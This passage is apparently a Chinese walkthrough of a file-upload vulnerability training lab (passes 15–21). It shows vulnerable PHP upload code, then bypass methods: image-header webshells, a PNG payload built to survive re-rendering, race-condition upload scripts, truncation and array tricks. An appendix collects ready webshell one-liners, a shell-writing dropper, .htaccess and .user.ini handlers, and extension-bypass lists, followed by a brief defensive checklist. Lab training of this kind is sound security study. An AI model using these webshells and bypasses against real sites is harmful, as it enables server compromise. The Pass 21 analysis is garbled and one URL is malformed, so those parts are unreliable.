$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
代码分析
getimagesize
函数用来检查文件类型:
通关方法
修改文件头标识:GIF89a
(直接在文件头加入,也可以修改hex:47 49 46 38 39 61)
绕过方式与 Pass14 类似
0x16-pass-16(文件类型检测+文件包含漏洞)
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
代码分析
exif_imagetype
函数来检测上传的文件是否为图片,与 pass15 类似,所以绕过的方法也类似,我们可以用同样的 GIF 图片马
exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。
需要开启 php_exif模块
通关方法
上传图片马
绕过方式与 Pass14 类似
0x17-pass-17(二次渲染)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
代码分析
上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染
使用imagecreatefrom...
函数对图片文件进行二次渲染。该函数调用了PHP GD库(GD库,是php处理图形的扩展库)
如果上传图片马,里面的一句话会被清除,因此需要制作一张二次渲染过后,一句话依旧存在的图片马。
通关方法
上传图片马
下列代码,可以制作一张二次渲染过后,恶意代码依旧存在的png图片马
<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./pass17.png');
?>
使用:
php payload.php file.png
file.png 是一张普通的 png 图片~
最终生成 pass17.png
上传 pass17
利用文件包含漏洞传 post 参数:
Load URL
http://192.168.20.134/include.php?file=upload/pass17.png&0=phpinfoPost data 1=-1
0x18-pass-18(条件竞争)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
代码分析
条件竞争漏洞:由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生
源码中的逻辑:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
通俗一点
代码执行逻辑:先移动,后检测,不符合再删除,符合则改名字
因此我们可以用 burp 一直发包,让 php 程序一直处于移动 php 文件到 upload 目录这个阶段
通关方法
条件竞争
我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell
我们先来生成一个本 pass18 用的 php文件:pass18.php
<?PHP echo ”1“;fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
然后制作一个 py 文件用来检测上传是否成功:pass18_check_upload.py
# coding:utf-8
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://http://192.168.20.134:80/upload/pass18.php")
if "1" in a.text:
print("OK")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()
ps:需要安装pip和request模块
接下来使用 burp 构造 intruder 并发送
接下来配置载荷
调高线程数(一般20即可)
然后让 burp 和 py脚本文件同时执行,等待条件竞争成功上传成功
python3 pass18_check_upload.py
0x19-pass-19(条件竞争2)
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
代码问题
在 Pass19 目录下的 myupload.php 文件
将103行的
$this->cls_upload_dir = $dir;
改为:
$this->cls_upload_dir = $dir.'/';
不改的话会上传成这样../upload11111111.jpg
代码分析
查看源码发现,先进行了保存,然后再进行重命名,因此也存在条件竞争的问题,不过这题对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,因此可以通过不断上传图片马,由于条件竞争可能来不及重命名,从而上传成功。
通关方法
条件竞争
创建pass20.php.7z,文件内容如下
<?PHP echo "1";fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
burp开启攻击,浏览器不断访问
http://192.168.20.134/uploadpass20.php.7z
直到返回数字1,即可暂停burp。
接着就可以用中国蚁剑连接
0x20-pass-20(00截断)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
POST 参数save_name
可控,当输入upload-19.php%00.jpg时,pathinfo 获取的$file_ext
是.jpg,从而进入了if代码块
所以这个 Pass 可以利用 00 截断
本 Pass 也可以利用 /. 来绕过在文件名 php 后缀加上/.
通关方法
方法1 在文件后缀后加空格
方法2 在文件后缀后加点.
方法3 在文件后缀后加/.
方法4 bp抓包 00截断
抓包后将后缀名改成如图所示
选中空格 将2数值20改为00
应用更改后 发送
上传成功
方法5 bp抓包 ::$DATA
类似方法4 bp抓包后在文件后缀加上::$DATA
0x21-pass-21(截断2)
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
代码分析
源码逻辑:
- 检查MIME (通过抓包改Content-Type 绕过)
- 判断 POST参数 save_name 是否为空,
- 判断$file 是否为数组,不是数组以
.
分割化为数组 - 取 $file 最后一个元素,作为文件后缀进行检查
取 ![file 第一位和第
]file[count($file) - 1]
作为文件名和后缀名保存文件
首先检查了 MIME,更改 Content-Type: image/jpeg 即可绕过第一层
如果上传的是数组就会跳过$file = explode('.', strtolower($file)),而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。
$file[0]=test.php/ ``$file[2]=jpg利用move_uploaded_file会忽略/.来成功绕过通关方法
MIME+数组
上传
webshell.php
, 修改save_name
为数组 绕过对file 最后一个元素是save_name[2] = jpg
绕过后缀检测 , 然后reset($file) = webshell.php
$file[1]
没有定义为空,count($file)
的值为$file[count($file) - 1]
= `$file[1]
注意此题不能重复上传,会报错。技巧总结
在未知源码的情况下如何去判断那些文件可以后缀可以上传?
我们可以使用 burpsuite 批量提交后缀来判断那些后缀可以上传
首先随意抓取一个 request 请求包发送给 intruder:
接着添加以下 payload 并开始攻击php php php. php::$DATA php. . php\. pphph php7 php5 php4 php3 php2 php1 html htm phtml pHp Php phP pHp5 pHp4 pHp3 pHp2 pHp1
可以看到除了 response 长度为 3823 的包之外的其他包全部上传成功,这样可以知道哪些后缀可以上传
其他字典:
Html
jsp
jspa
jspx
jsw
jsv
jspf
jtml
jSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp
aspx
windows会自动去除文件名后面的英文句号.和空格,::$DATA,. .。
常用文件
php
<?php phpinfo();?>
<?php @eval($_POST[123123])?>
<?PHP echo "1";fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./pass17.png');
?>
.htacess
SetHandler application/x-httpd-php
.user.ini
auto_prepend_file=pass5.png
gif
GIF89a
<?php
phpinfo();
?>
python
# coding:utf-8
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://http://192.168.20.134:80/upload/pass18.php")
if "1" in a.text:
print("OK")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()
文件上传总结
允许用户上传文件是司空见惯的事,只要您采取正确的预防措施,就不一定会有危险。一般来说,保护您自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:
- 根据允许扩展名的白名单而不是禁止扩展名的黑名单检查文件扩展名
- 确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串。
- 重命名上传的文件以避免可能导致现有文件被覆盖的冲突。
- 在完全验证之前不要将文件上传到服务器的永久文件系统。
- 尽可能使用已建立的框架来预处理文件上传,而不是尝试编写自己的验证机制。
完结撒花😀